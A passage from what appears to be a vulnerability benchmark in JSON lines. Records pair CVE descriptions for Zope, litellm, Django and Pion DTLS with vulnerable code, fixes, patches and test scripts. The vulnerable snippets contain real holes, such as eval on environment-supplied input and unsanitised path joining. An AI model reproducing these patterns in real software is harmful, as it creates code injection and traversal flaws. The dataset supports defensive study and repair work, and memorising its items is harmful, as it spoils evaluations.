"1f8456b", "file_path": "src/Products/PageTemplates/Expressions.py", "start_line": 65, "end_line": 91, "snippet": "def boboAwareZopeTraverse(object, path_items, econtext):\n    \"\"\"Traverses a sequence of names, first trying attributes then items.\n\n    This uses zope.traversing path traversal where possible and interacts\n    correctly with objects providing OFS.interface.ITraversable when\n    necessary (bobo-awareness).\n    \"\"\"\n    request = getattr(econtext, 'request', None)\n    path_items = list(path_items)\n    path_items.reverse()\n\n    while path_items:\n        name = path_items.pop()\n\n        if name == '_':\n            warnings.warn('Traversing to the name `_` is deprecated '\n                          'and will be removed in Zope 6.',\n                          DeprecationWarning)\n        elif name.startswith('_'):\n            raise NotFound(name)\n\n        if OFS.interfaces.ITraversable.providedBy(object):\n            object = object.restrictedTraverse(name)\n        else:\n            object = traversePathElement(object, name, path_items,\n                                         request=request)\n    return object"}, {"id": "fix_py_145_2", "commit": "1f8456b", "file_path": "src/Products/PageTemplates/expression.py", "start_line": 57, "end_line": 79, "snippet": "    def traverse(cls, base, request, path_items):\n        \"\"\"See ``zope.app.pagetemplate.engine``.\"\"\"\n\n        path_items = list(path_items)\n        path_items.reverse()\n\n        while path_items:\n            name = path_items.pop()\n\n            if name == '_':\n                warnings.warn('Traversing to the name `_` is deprecated '\n                              'and will be removed in Zope 6.',\n                              DeprecationWarning)\n            elif name.startswith('_'):\n                raise NotFound(name)\n\n            if ITraversable.providedBy(base):\n                base = getattr(base, cls.traverse_method)(name)\n            else:\n                base = traversePathElement(base, name, path_items,\n                                           request=request)\n\n        return base"}], "vul_patch": "--- a/src/Products/PageTemplates/Expressions.py\n+++ b/src/Products/PageTemplates/Expressions.py\n@@ -11,6 +11,14 @@\n \n     while path_items:\n         name = path_items.pop()\n+\n+        if name == '_':\n+            warnings.warn('Traversing to the name `_` is deprecated '\n+                          'and will be removed in Zope 6.',\n+                          DeprecationWarning)\n+        elif name.startswith('_'):\n+            raise NotFound(name)\n+\n         if OFS.interfaces.ITraversable.providedBy(object):\n             object = object.restrictedTraverse(name)\n         else:\n\n--- a/src/Products/PageTemplates/expression.py\n+++ b/src/Products/PageTemplates/expression.py\n@@ -6,8 +6,16 @@\n \n         while path_items:\n             name = path_items.pop()\n+\n+            if name == '_':\n+                warnings.warn('Traversing to the name `_` is deprecated '\n+                              'and will be removed in Zope 6.',\n+                              DeprecationWarning)\n+            elif name.startswith('_'):\n+                raise NotFound(name)\n+\n             if ITraversable.providedBy(base):\n-                base = getattr(base, cls.traverseMethod)(name)\n+                base = getattr(base, cls.traverse_method)(name)\n             else:\n                 base = traversePathElement(base, name, path_items,\n                                            request=request)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-5751", "cve_description": "BerriAI/litellm version v1.35.8 contains a vulnerability where an attacker can achieve remote code execution. The vulnerability exists in the `add_deployment` function, which decodes and decrypts environment variables from base64 and assigns them to `os.environ`. An attacker can exploit this by sending a malicious payload to the `/config/update` endpoint, which is then processed and executed by the server when the `get_secret` function is triggered. This requires the server to use Google KMS and a database to store a model.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/BerriAI/litellm", "patch_url": ["https://github.com/BerriAI/litellm/commit/fcea4c22ad96b24436f196ae709f71932e84b0b8"], "programing_language": "Python", "vul_func": [{"id": "vul_py_224_1", "commit": "2b9e953", "file_path": "litellm/utils.py", "start_line": 7065, "end_line": 7274, "snippet": "def get_secret(\n    secret_name: str,\n    default_value: Optional[Union[str, bool]] = None,\n):\n    key_management_system = litellm._key_management_system\n    key_management_settings = litellm._key_management_settings\n    args = locals()\n\n    if secret_name.startswith(\"os.environ/\"):\n        secret_name = secret_name.replace(\"os.environ/\", \"\")\n\n    # Example: oidc/google/https://bedrock-runtime.us-east-1.amazonaws.com/model/stability.stable-diffusion-xl-v1/invoke\n    if secret_name.startswith(\"oidc/\"):\n        secret_name_split = secret_name.replace(\"oidc/\", \"\")\n        oidc_provider, oidc_aud = secret_name_split.split(\"/\", 1)\n        # TODO: Add caching for HTTP requests\n        if oidc_provider == \"google\":\n            oidc_token = oidc_cache.get_cache(key=secret_name)\n            if oidc_token is not None:\n                return oidc_token\n\n            oidc_client = HTTPHandler(timeout=httpx.Timeout(timeout=600.0, connect=5.0))\n            # https://cloud.google.com/compute/docs/instances/verifying-instance-identity#request_signature\n            response = oidc_client.get(\n                \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity\",\n                params={\"audience\": oidc_aud},\n                headers={\"Metadata-Flavor\": \"Google\"},\n            )\n            if response.status_code == 200:\n                oidc_token = response.text\n                oidc_cache.set_cache(key=secret_name, value=oidc_token, ttl=3600 - 60)\n                return oidc_token\n            else:\n                raise ValueError(\"Google OIDC provider failed\")\n        elif oidc_provider == \"circleci\":\n            # https://circleci.com/docs/openid-connect-tokens/\n            env_secret = os.getenv(\"CIRCLE_OIDC_TOKEN\")\n            if env_secret is None:\n                raise ValueError(\"CIRCLE_OIDC_TOKEN not found in environment\")\n            return env_secret\n        elif oidc_provider == \"circleci_v2\":\n            # https://circleci.com/docs/openid-connect-tokens/\n            env_secret = os.getenv(\"CIRCLE_OIDC_TOKEN_V2\")\n            if env_secret is None:\n                raise ValueError(\"CIRCLE_OIDC_TOKEN_V2 not found in environment\")\n            return env_secret\n        elif oidc_provider == \"github\":\n            # https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-cloud-providers#using-custom-actions\n            actions_id_token_request_url = os.getenv(\"ACTIONS_ID_TOKEN_REQUEST_URL\")\n            actions_id_token_request_token = os.getenv(\"ACTIONS_ID_TOKEN_REQUEST_TOKEN\")\n            if (\n                actions_id_token_request_url is None\n                or actions_id_token_request_token is None\n            ):\n                raise ValueError(\n                    \"ACTIONS_ID_TOKEN_REQUEST_URL or ACTIONS_ID_TOKEN_REQUEST_TOKEN not found in environment\"\n                )\n\n            oidc_token = oidc_cache.get_cache(key=secret_name)\n            if oidc_token is not None:\n                return oidc_token\n\n            oidc_client = HTTPHandler(timeout=httpx.Timeout(timeout=600.0, connect=5.0))\n            response = oidc_client.get(\n                actions_id_token_request_url,\n                params={\"audience\": oidc_aud},\n                headers={\n                    \"Authorization\": f\"Bearer {actions_id_token_request_token}\",\n                    \"Accept\": \"application/json; api-version=2.0\",\n                },\n            )\n            if response.status_code == 200:\n                oidc_token = response.text[\"value\"]\n                oidc_cache.set_cache(key=secret_name, value=oidc_token, ttl=300 - 5)\n                return oidc_token\n            else:\n                raise ValueError(\"Github OIDC provider failed\")\n        elif oidc_provider == \"azure\":\n            # https://azure.github.io/azure-workload-identity/docs/quick-start.html\n            azure_federated_token_file = os.getenv(\"AZURE_FEDERATED_TOKEN_FILE\")\n            if azure_federated_token_file is None:\n                raise ValueError(\"AZURE_FEDERATED_TOKEN_FILE not found in environment\")\n            with open(azure_federated_token_file, \"r\") as f:\n                oidc_token = f.read()\n                return oidc_token\n        else:\n            raise ValueError(\"Unsupported OIDC provider\")\n\n    try:\n        if litellm.secret_manager_client is not None:\n            try:\n                client = litellm.secret_manager_client\n                key_manager = \"local\"\n                if key_management_system is not None:\n                    key_manager = key_management_system.value\n\n                if key_management_settings is not None:\n                    if (\n                        secret_name not in key_management_settings.hosted_keys\n                    ):  # allow user to specify which keys to check in hosted key manager\n                        key_manager = \"local\"\n\n                if (\n                    key_manager == KeyManagementSystem.AZURE_KEY_VAULT.value\n                    or type(client).__module__ + \".\" + type(client).__name__\n                    == \"azure.keyvault.secrets._client.SecretClient\"\n                ):  # support Azure Secret Client - from azure.keyvault.secrets import SecretClient\n                    secret = client.get_secret(secret_name).value\n                elif (\n                    key_manager == KeyManagementSystem.GOOGLE_KMS.value\n                    or client.__class__.__name__ == \"KeyManagementServiceClient\"\n                ):\n                    encrypted_secret: Any = os.getenv(secret_name)\n                    if encrypted_secret is None:\n                        raise ValueError(\n                            f\"Google KMS requires the encrypted secret to be in the environment!\"\n                        )\n                    b64_flag = _is_base64(encrypted_secret)\n                    if b64_flag == True:  # if passed in as encoded b64 string\n                        encrypted_secret = base64.b64decode(encrypted_secret)\n                    if not isinstance(encrypted_secret, bytes):\n                        # If it's not, assume it's a string and encode it to bytes\n                        ciphertext = eval(\n                            encrypted_secret.encode()\n                        )  # assuming encrypted_secret is something like - b'\\n$\\x00D\\xac\\xb4/t)07\\xe5\\xf6..'\n                    else:\n                        ciphertext = encrypted_secret\n\n                    response = client.decrypt(\n                        request={\n                            \"name\": litellm._google_kms_resource_name,\n                            \"ciphertext\": ciphertext,\n                        }\n                    )\n                    secret = response.plaintext.decode(\n                        \"utf-8\"\n                    )  # assumes the original value was encoded with utf-8\n                elif key_manager == KeyManagementSystem.AWS_KMS.value:\n                    \"\"\"\n                    Only check the tokens which start with 'aws_kms/'. This prevents latency impact caused by checking all keys.\n                    \"\"\"\n                    encrypted_value = os.getenv(secret_name, None)\n                    if encrypted_value is None:\n                        raise Exception(\"encrypted value for AWS KMS cannot be None.\")\n                    # Decode the base64 encoded ciphertext\n                    ciphertext_blob = base64.b64decode(encrypted_value)\n\n                    # Set up the parameters for the decrypt call\n                    params = {\"CiphertextBlob\": ciphertext_blob}\n\n                    # Perform the decryption\n                    response = client.decrypt(**params)\n\n                    # Extract and decode the plaintext\n                    plaintext = response[\"Plaintext\"]\n                    secret = plaintext.decode(\"utf-8\")\n                elif key_manager == KeyManagementSystem.AWS_SECRET_MANAGER.value:\n                    try:\n                        get_secret_value_response = client.get_secret_value(\n                            SecretId=secret_name\n                        )\n                        print_verbose(\n                            f\"get_secret_value_response: {get_secret_value_response}\"\n                        )\n                    except Exception as e:\n                        print_verbose(f\"An error occurred - {str(e)}\")\n                        # For a list of exceptions thrown, see\n                        # https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html\n                        raise e\n\n                    # assume there is 1 secret per secret_name\n                    secret_dict = json.loads(get_secret_value_response[\"SecretString\"])\n                    print_verbose(f\"secret_dict: {secret_dict}\")\n                    for k, v in secret_dict.items():\n                        secret = v\n                    print_verbose(f\"secret: {secret}\")\n                elif key_manager == \"local\":\n                    secret = os.getenv(secret_name)\n                else:  # assume the default is infisicial client\n                    secret = client.get_secret(secret_name).secret_value\n            except Exception as e:  # check if it's in os.environ\n                verbose_logger.error(\n                    f\"An exception occurred - {str(e)}\\n\\n{traceback.format_exc()}\"\n                )\n                secret = os.getenv(secret_name)\n            try:\n                secret_value_as_bool = ast.literal_eval(secret)\n                if isinstance(secret_value_as_bool, bool):\n                    return secret_value_as_bool\n                else:\n                    return secret\n            except:\n                return secret\n        else:\n            secret = os.environ.get(secret_name)\n            try:\n                secret_value_as_bool = (\n                    ast.literal_eval(secret) if secret is not None else None\n                )\n                if isinstance(secret_value_as_bool, bool):\n                    return secret_value_as_bool\n                else:\n                    return secret\n            except:\n                return secret\n    except Exception as e:\n        if default_value is not None:\n            return default_value\n        else:\n            raise e"}], "fix_func": [{"id": "fix_py_224_1", "commit": "fcea4c2", "file_path": "litellm/utils.py", "start_line": 7065, "end_line": 7271, "snippet": "def get_secret(\n    secret_name: str,\n    default_value: Optional[Union[str, bool]] = None,\n):\n    key_management_system = litellm._key_management_system\n    key_management_settings = litellm._key_management_settings\n    args = locals()\n\n    if secret_name.startswith(\"os.environ/\"):\n        secret_name = secret_name.replace(\"os.environ/\", \"\")\n\n    # Example: oidc/google/https://bedrock-runtime.us-east-1.amazonaws.com/model/stability.stable-diffusion-xl-v1/invoke\n    if secret_name.startswith(\"oidc/\"):\n        secret_name_split = secret_name.replace(\"oidc/\", \"\")\n        oidc_provider, oidc_aud = secret_name_split.split(\"/\", 1)\n        # TODO: Add caching for HTTP requests\n        if oidc_provider == \"google\":\n            oidc_token = oidc_cache.get_cache(key=secret_name)\n            if oidc_token is not None:\n                return oidc_token\n\n            oidc_client = HTTPHandler(timeout=httpx.Timeout(timeout=600.0, connect=5.0))\n            # https://cloud.google.com/compute/docs/instances/verifying-instance-identity#request_signature\n            response = oidc_client.get(\n                \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity\",\n                params={\"audience\": oidc_aud},\n                headers={\"Metadata-Flavor\": \"Google\"},\n            )\n            if response.status_code == 200:\n                oidc_token = response.text\n                oidc_cache.set_cache(key=secret_name, value=oidc_token, ttl=3600 - 60)\n                return oidc_token\n            else:\n                raise ValueError(\"Google OIDC provider failed\")\n        elif oidc_provider == \"circleci\":\n            # https://circleci.com/docs/openid-connect-tokens/\n            env_secret = os.getenv(\"CIRCLE_OIDC_TOKEN\")\n            if env_secret is None:\n                raise ValueError(\"CIRCLE_OIDC_TOKEN not found in environment\")\n            return env_secret\n        elif oidc_provider == \"circleci_v2\":\n            # https://circleci.com/docs/openid-connect-tokens/\n            env_secret = os.getenv(\"CIRCLE_OIDC_TOKEN_V2\")\n            if env_secret is None:\n                raise ValueError(\"CIRCLE_OIDC_TOKEN_V2 not found in environment\")\n            return env_secret\n        elif oidc_provider == \"github\":\n            # https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-cloud-providers#using-custom-actions\n            actions_id_token_request_url = os.getenv(\"ACTIONS_ID_TOKEN_REQUEST_URL\")\n            actions_id_token_request_token = os.getenv(\"ACTIONS_ID_TOKEN_REQUEST_TOKEN\")\n            if (\n                actions_id_token_request_url is None\n                or actions_id_token_request_token is None\n            ):\n                raise ValueError(\n                    \"ACTIONS_ID_TOKEN_REQUEST_URL or ACTIONS_ID_TOKEN_REQUEST_TOKEN not found in environment\"\n                )\n\n            oidc_token = oidc_cache.get_cache(key=secret_name)\n            if oidc_token is not None:\n                return oidc_token\n\n            oidc_client = HTTPHandler(timeout=httpx.Timeout(timeout=600.0, connect=5.0))\n            response = oidc_client.get(\n                actions_id_token_request_url,\n                params={\"audience\": oidc_aud},\n                headers={\n                    \"Authorization\": f\"Bearer {actions_id_token_request_token}\",\n                    \"Accept\": \"application/json; api-version=2.0\",\n                },\n            )\n            if response.status_code == 200:\n                oidc_token = response.text[\"value\"]\n                oidc_cache.set_cache(key=secret_name, value=oidc_token, ttl=300 - 5)\n                return oidc_token\n            else:\n                raise ValueError(\"Github OIDC provider failed\")\n        elif oidc_provider == \"azure\":\n            # https://azure.github.io/azure-workload-identity/docs/quick-start.html\n            azure_federated_token_file = os.getenv(\"AZURE_FEDERATED_TOKEN_FILE\")\n            if azure_federated_token_file is None:\n                raise ValueError(\"AZURE_FEDERATED_TOKEN_FILE not found in environment\")\n            with open(azure_federated_token_file, \"r\") as f:\n                oidc_token = f.read()\n                return oidc_token\n        else:\n            raise ValueError(\"Unsupported OIDC provider\")\n\n    try:\n        if litellm.secret_manager_client is not None:\n            try:\n                client = litellm.secret_manager_client\n                key_manager = \"local\"\n                if key_management_system is not None:\n                    key_manager = key_management_system.value\n\n                if key_management_settings is not None:\n                    if (\n                        secret_name not in key_management_settings.hosted_keys\n                    ):  # allow user to specify which keys to check in hosted key manager\n                        key_manager = \"local\"\n\n                if (\n                    key_manager == KeyManagementSystem.AZURE_KEY_VAULT.value\n                    or type(client).__module__ + \".\" + type(client).__name__\n                    == \"azure.keyvault.secrets._client.SecretClient\"\n                ):  # support Azure Secret Client - from azure.keyvault.secrets import SecretClient\n                    secret = client.get_secret(secret_name).value\n                elif (\n                    key_manager == KeyManagementSystem.GOOGLE_KMS.value\n                    or client.__class__.__name__ == \"KeyManagementServiceClient\"\n                ):\n                    encrypted_secret: Any = os.getenv(secret_name)\n                    if encrypted_secret is None:\n                        raise ValueError(\n                            f\"Google KMS requires the encrypted secret to be in the environment!\"\n                        )\n                    b64_flag = _is_base64(encrypted_secret)\n                    if b64_flag == True:  # if passed in as encoded b64 string\n                        encrypted_secret = base64.b64decode(encrypted_secret)\n                        ciphertext = encrypted_secret\n                    else:\n                        raise ValueError(\n                            f\"Google KMS requires the encrypted secret to be encoded in base64\"\n                        )#fix for this vulnerability https://huntr.com/bounties/ae623c2f-b64b-4245-9ed4-f13a0a5824ce\n                    response = client.decrypt(\n                        request={\n                            \"name\": litellm._google_kms_resource_name,\n                            \"ciphertext\": ciphertext,\n                        }\n                    )\n                    secret = response.plaintext.decode(\n                        \"utf-8\"\n                    )  # assumes the original value was encoded with utf-8\n                elif key_manager == KeyManagementSystem.AWS_KMS.value:\n                    \"\"\"\n                    Only check the tokens which start with 'aws_kms/'. This prevents latency impact caused by checking all keys.\n                    \"\"\"\n                    encrypted_value = os.getenv(secret_name, None)\n                    if encrypted_value is None:\n                        raise Exception(\"encrypted value for AWS KMS cannot be None.\")\n                    # Decode the base64 encoded ciphertext\n                    ciphertext_blob = base64.b64decode(encrypted_value)\n\n                    # Set up the parameters for the decrypt call\n                    params = {\"CiphertextBlob\": ciphertext_blob}\n\n                    # Perform the decryption\n                    response = client.decrypt(**params)\n\n                    # Extract and decode the plaintext\n                    plaintext = response[\"Plaintext\"]\n                    secret = plaintext.decode(\"utf-8\")\n                elif key_manager == KeyManagementSystem.AWS_SECRET_MANAGER.value:\n                    try:\n                        get_secret_value_response = client.get_secret_value(\n                            SecretId=secret_name\n                        )\n                        print_verbose(\n                            f\"get_secret_value_response: {get_secret_value_response}\"\n                        )\n                    except Exception as e:\n                        print_verbose(f\"An error occurred - {str(e)}\")\n                        # For a list of exceptions thrown, see\n                        # https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html\n                        raise e\n\n                    # assume there is 1 secret per secret_name\n                    secret_dict = json.loads(get_secret_value_response[\"SecretString\"])\n                    print_verbose(f\"secret_dict: {secret_dict}\")\n                    for k, v in secret_dict.items():\n                        secret = v\n                    print_verbose(f\"secret: {secret}\")\n                elif key_manager == \"local\":\n                    secret = os.getenv(secret_name)\n                else:  # assume the default is infisicial client\n                    secret = client.get_secret(secret_name).secret_value\n            except Exception as e:  # check if it's in os.environ\n                verbose_logger.error(\n                    f\"An exception occurred - {str(e)}\\n\\n{traceback.format_exc()}\"\n                )\n                secret = os.getenv(secret_name)\n            try:\n                secret_value_as_bool = ast.literal_eval(secret)\n                if isinstance(secret_value_as_bool, bool):\n                    return secret_value_as_bool\n                else:\n                    return secret\n            except:\n                return secret\n        else:\n            secret = os.environ.get(secret_name)\n            try:\n                secret_value_as_bool = (\n                    ast.literal_eval(secret) if secret is not None else None\n                )\n                if isinstance(secret_value_as_bool, bool):\n                    return secret_value_as_bool\n                else:\n                    return secret\n            except:\n                return secret\n    except Exception as e:\n        if default_value is not None:\n            return default_value\n        else:\n            raise e"}], "vul_patch": "--- a/litellm/utils.py\n+++ b/litellm/utils.py\n@@ -118,14 +118,11 @@\n                     b64_flag = _is_base64(encrypted_secret)\n                     if b64_flag == True:  # if passed in as encoded b64 string\n                         encrypted_secret = base64.b64decode(encrypted_secret)\n-                    if not isinstance(encrypted_secret, bytes):\n-                        # If it's not, assume it's a string and encode it to bytes\n-                        ciphertext = eval(\n-                            encrypted_secret.encode()\n-                        )  # assuming encrypted_secret is something like - b'\\n$\\x00D\\xac\\xb4/t)07\\xe5\\xf6..'\n+                        ciphertext = encrypted_secret\n                     else:\n-                        ciphertext = encrypted_secret\n-\n+                        raise ValueError(\n+                            f\"Google KMS requires the encrypted secret to be encoded in base64\"\n+                        )#fix for this vulnerability https://huntr.com/bounties/ae623c2f-b64b-4245-9ed4-f13a0a5824ce\n                     response = client.decrypt(\n                         request={\n                             \"name\": litellm._google_kms_resource_name,\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-33203", "cve_description": "Django before 2.2.24, 3.x before 3.1.12, and 3.2.x before 3.2.4 has a potential directory traversal via django.contrib.admindocs. Staff members could use the TemplateDetailView view to check the existence of arbitrary files. Additionally, if (and only if) the default admindocs templates have been customized by application developers to also show file contents, then not only the existence but also the file contents would have been exposed. In other words, there is directory traversal outside of the template root directories.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/django/django", "patch_url": ["https://github.com/django/django/commit/20c67a0693c4ede2b09af02574823485e82e4c8f", "https://github.com/django/django/commit/dfaba12cda060b8b292ae1d271b44bf810b1c5b9", "https://github.com/django/django/commit/053cc9534d174dc89daba36724ed2dcb36755b90"], "programing_language": "Python", "vul_func": [{"id": "vul_py_6_1", "commit": "aa8781c", "file_path": "django/contrib/admindocs/views.py", "start_line": 321, "end_line": 347, "snippet": "    def get_context_data(self, **kwargs):\n        template = self.kwargs['template']\n        templates = []\n        try:\n            default_engine = Engine.get_default()\n        except ImproperlyConfigured:\n            # Non-trivial TEMPLATES settings aren't supported (#24125).\n            pass\n        else:\n            # This doesn't account for template loaders (#24128).\n            for index, directory in enumerate(default_engine.dirs):\n                template_file = Path(directory) / template\n                if template_file.exists():\n                    template_contents = template_file.read_text()\n                else:\n                    template_contents = ''\n                templates.append({\n                    'file': template_file,\n                    'exists': template_file.exists(),\n                    'contents': template_contents,\n                    'order': index,\n                })\n        return super().get_context_data(**{\n            **kwargs,\n            'name': template,\n            'templates': templates,\n        })"}], "fix_func": [{"id": "fix_py_6_1", "commit": "20c67a0", "file_path": "django/contrib/admindocs/views.py", "start_line": 322, "end_line": 348, "snippet": "    def get_context_data(self, **kwargs):\n        template = self.kwargs['template']\n        templates = []\n        try:\n            default_engine = Engine.get_default()\n        except ImproperlyConfigured:\n            # Non-trivial TEMPLATES settings aren't supported (#24125).\n            pass\n        else:\n            # This doesn't account for template loaders (#24128).\n            for index, directory in enumerate(default_engine.dirs):\n                template_file = Path(safe_join(directory, template))\n                if template_file.exists():\n                    template_contents = template_file.read_text()\n                else:\n                    template_contents = ''\n                templates.append({\n                    'file': template_file,\n                    'exists': template_file.exists(),\n                    'contents': template_contents,\n                    'order': index,\n                })\n        return super().get_context_data(**{\n            **kwargs,\n            'name': template,\n            'templates': templates,\n        })"}], "vul_patch": "--- a/django/contrib/admindocs/views.py\n+++ b/django/contrib/admindocs/views.py\n@@ -9,7 +9,7 @@\n         else:\n             # This doesn't account for template loaders (#24128).\n             for index, directory in enumerate(default_engine.dirs):\n-                template_file = Path(directory) / template\n+                template_file = Path(safe_join(directory, template))\n                 if template_file.exists():\n                     template_contents = template_file.read_text()\n                 else:\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-33203:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/django\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ncd tests && /workspace/PoC_env/CVE-2021-33203/bin/python ./runtests.py admin_docs.test_views.AdminDocViewDefaultEngineOnly.test_template_detail_path_traversal\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-33203:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/django\ngit apply --whitespace=nowarn /workspace/fix.patch\ncd tests && /workspace/PoC_env/CVE-2021-33203/bin/python ./runtests.py admin_docs.test_views\n"}
{"cve_id": "CVE-2022-29222", "cve_description": "Pion DTLS is a Go implementation of Datagram Transport Layer Security. Prior to version 2.1.5, a DTLS Client could provide a Certificate that it doesn't posses the private key for and Pion DTLS wouldn't reject it. This issue affects users that are using Client certificates only. The connection itself is still secure. The Certificate provided by clients can't be trusted when using a Pion DTLS server prior to version 2.1.5. Users should upgrade to version 2.1.5 to receive a patch. There are currently no known workarounds.", "cwe_info": {"CWE-295": {"name": "Improper Certificate Validation", "description": "The product does not validate, or incorrectly validates, a certificate."}}, "repo": "https://github.com/pion/dtls", "patch_url": ["https://github.com/pion/dtls/commit/d2f797183a9f044ce976e6df6f362662ca722412"], "programing_language": "Go", "vul_func": [{"id": "vul_go_87_1", "commit": "a6397ff", "file_path": "flight4handler.go", "start_line": "19", "end_line": "201", "snippet": "func flight4Parse(ctx context.Context, c flightConn, state *State, cache *handshakeCache, cfg *handshakeConfig) (flightVal, *alert.Alert, error) { //nolint:gocognit\n\tseq, msgs, ok := cache.fullPullMap(state.handshakeRecvSequence, state.cipherSuite,\n\t\thandshakeCachePullRule{handshake.TypeCertificate, cfg.initialEpoch, true, true},\n\t\thandshakeCachePullRule{handshake.TypeClientKeyExchange, cfg.initialEpoch, true, false},\n\t\thandshakeCachePullRule{handshake.TypeCertificateVerify, cfg.initialEpoch, true, true},\n\t)\n\tif !ok {\n\t\t// No valid message received. Keep reading\n\t\treturn 0, nil, nil\n\t}\n\n\t// Validate type\n\tvar clientKeyExchange *handshake.MessageClientKeyExchange\n\tif clientKeyExchange, ok = msgs[handshake.TypeClientKeyExchange].(*handshake.MessageClientKeyExchange); !ok {\n\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.InternalError}, nil\n\t}\n\n\tif h, hasCert := msgs[handshake.TypeCertificate].(*handshake.MessageCertificate); hasCert {\n\t\tstate.PeerCertificates = h.Certificate\n\t\t// If the client offer its certificate, just disable session resumption.\n\t\t// Otherwise, we have to store the certificate identitfication and expire time.\n\t\t// And we have to check whether this certificate expired, revoked or changed.\n\t\t//\n\t\t// https://curl.se/docs/CVE-2016-5419.html\n\t\tstate.SessionID = nil\n\t}\n\n\tif h, hasCertVerify := msgs[handshake.TypeCertificateVerify].(*handshake.MessageCertificateVerify); hasCertVerify {\n\t\tif state.PeerCertificates == nil {\n\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.NoCertificate}, errCertificateVerifyNoCertificate\n\t\t}\n\n\t\tplainText := cache.pullAndMerge(\n\t\t\thandshakeCachePullRule{handshake.TypeClientHello, cfg.initialEpoch, true, false},\n\t\t\thandshakeCachePullRule{handshake.TypeServerHello, cfg.initialEpoch, false, false},\n\t\t\thandshakeCachePullRule{handshake.TypeCertificate, cfg.initialEpoch, false, false},\n\t\t\thandshakeCachePullRule{handshake.TypeServerKeyExchange, cfg.initialEpoch, false, false},\n\t\t\thandshakeCachePullRule{handshake.TypeCertificateRequest, cfg.initialEpoch, false, false},\n\t\t\thandshakeCachePullRule{handshake.TypeServerHelloDone, cfg.initialEpoch, false, false},\n\t\t\thandshakeCachePullRule{handshake.TypeCertificate, cfg.initialEpoch, true, false},\n\t\t\thandshakeCachePullRule{handshake.TypeClientKeyExchange, cfg.initialEpoch, true, false},\n\t\t)\n\n\t\t// Verify that the pair of hash algorithm and signiture is listed.\n\t\tvar validSignatureScheme bool\n\t\tfor _, ss := range cfg.localSignatureSchemes {\n\t\t\tif ss.Hash == h.HashAlgorithm && ss.Signature == h.SignatureAlgorithm {\n\t\t\t\tvalidSignatureScheme = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif !validSignatureScheme {\n\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.InsufficientSecurity}, errNoAvailableSignatureSchemes\n\t\t}\n\n\t\tif err := verifyCertificateVerify(plainText, h.HashAlgorithm, h.Signature, state.PeerCertificates); err != nil {\n\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.BadCertificate}, err\n\t\t}\n\t\tvar chains [][]*x509.Certificate\n\t\tvar err error\n\t\tvar verified bool\n\t\tif cfg.clientAuth >= VerifyClientCertIfGiven {\n\t\t\tif chains, err = verifyClientCert(state.PeerCertificates, cfg.clientCAs); err != nil {\n\t\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.BadCertificate}, err\n\t\t\t}\n\t\t\tverified = true\n\t\t}\n\t\tif cfg.verifyPeerCertificate != nil {\n\t\t\tif err := cfg.verifyPeerCertificate(state.PeerCertificates, chains); err != nil {\n\t\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.BadCertificate}, err\n\t\t\t}\n\t\t}\n\t\tstate.peerCertificatesVerified = verified\n\t}\n\n\tif !state.cipherSuite.IsInitialized() {\n\t\tserverRandom := state.localRandom.MarshalFixed()\n\t\tclientRandom := state.remoteRandom.MarshalFixed()\n\n\t\tvar err error\n\t\tvar preMasterSecret []byte\n\t\tif state.cipherSuite.AuthenticationType() == CipherSuiteAuthenticationTypePreSharedKey {\n\t\t\tvar psk []byte\n\t\t\tif psk, err = cfg.localPSKCallback(clientKeyExchange.IdentityHint); err != nil {\n\t\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.InternalError}, err\n\t\t\t}\n\t\t\tstate.IdentityHint = clientKeyExchange.IdentityHint\n\t\t\tswitch state.cipherSuite.KeyExchangeAlgorithm() {\n\t\t\tcase CipherSuiteKeyExchangeAlgorithmPsk:\n\t\t\t\tpreMasterSecret = prf.PSKPreMasterSecret(psk)\n\t\t\tcase (CipherSuiteKeyExchangeAlgorithmPsk | CipherSuiteKeyExchangeAlgorithmEcdhe):\n\t\t\t\tif preMasterSecret, err = prf.EcdhePSKPreMasterSecret(psk, clientKeyExchange.PublicKey, state.localKeypair.PrivateKey, state.localKeypair.Curve); err != nil {\n\t\t\t\t\treturn 0, &alert.Alert{Level: alert.Fatal, Description: alert.InternalError}, 